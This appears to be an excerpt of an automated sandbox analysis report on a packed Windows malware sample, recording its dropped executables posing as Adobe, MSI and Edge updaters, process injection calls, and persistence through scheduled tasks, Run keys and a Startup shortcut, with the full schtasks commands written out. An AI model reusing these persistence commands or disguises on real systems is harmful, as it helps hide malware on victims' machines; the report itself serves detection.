Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe "C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe "C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe "C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Section loaded: apphelp.dll	Jump to behavior

Source: EdgeMS2.lnk.0.dr

LNK file: ..\..\..\..\..\..\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static file information: File size 3679520 > 1048576

Source: file.exe

Static PE information: Raw size of .vmp,,,2 is bigger than: 0x100000 < 0x37e000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	Unpacked PE file: 7.2.dD08ulq4N33OmW5HQdwT.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 8.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 11.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Unpacked PE file: 14.2.oobeldr.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe	Unpacked PE file: 21.2.JcZ7W4aCxlpc4pOVLwL1.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Unpacked PE file: 22.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Unpacked PE file: 23.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Unpacked PE file: 24.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Unpacked PE file: 25.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Unpacked PE file: 28.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Unpacked PE file: 29.2.EdgeMS2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0098C630 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,LoadLibraryA,GetProcAddress,WriteProcessMemory,CreateRemoteThread,

0_2_0098C630

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp,,,2

Source: file.exe	Static PE information: section name: .vmp,,,0
Source: file.exe	Static PE information: section name: .vmp,,,1
Source: file.exe	Static PE information: section name: .vmp,,,2
Source: l2[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: l2[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: dD08ulq4N33OmW5HQdwT.exe.0.dr	Static PE information: section name: .MPRESS1
Source: dD08ulq4N33OmW5HQdwT.exe.0.dr	Static PE information: section name: .MPRESS2
Source: AdobeUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: AdobeUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: MSIUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: MSIUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: EdgeMS2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: EdgeMS2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: k[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: k[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: JcZ7W4aCxlpc4pOVLwL1.exe.0.dr	Static PE information: section name: .MPRESS1
Source: JcZ7W4aCxlpc4pOVLwL1.exe.0.dr	Static PE information: section name: .MPRESS2
Source: AdobeUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS1
Source: AdobeUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS2
Source: MSIUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS1
Source: MSIUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS2
Source: EdgeMS2.exe0.0.dr	Static PE information: section name: .MPRESS1
Source: EdgeMS2.exe0.0.dr	Static PE information: section name: .MPRESS2
Source: oobeldr.exe.7.dr	Static PE information: section name: .MPRESS1
Source: oobeldr.exe.7.dr	Static PE information: section name: .MPRESS2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF0156 push ebx; iretd	0_2_00AF0172
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BFE2E4 push cs; ret	0_2_00BFE2EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCA2D2 push ss; iretd	0_2_00B7AF53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B9062A push esi; ret	0_2_00B9064D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B90625 push esi; ret	0_2_00B9064D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC4D29 push ecx; retf	0_2_00AC4E22
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B674FC push ecx; ret	0_2_00B67503
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAB88B push ss; iretd	0_2_00AAB903
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2B96C push edi; retf	0_2_00B2B9D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5FB21 push ecx; ret	0_2_00A5FB34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B33DCB push es; ret	0_2_00B3859B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F3F49 push ecx; ret	0_2_008F3F5C
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	Code function: 7_2_006D50A5 push ebp; ret	7_2_00721C57

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe			Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26	Jump to behavior
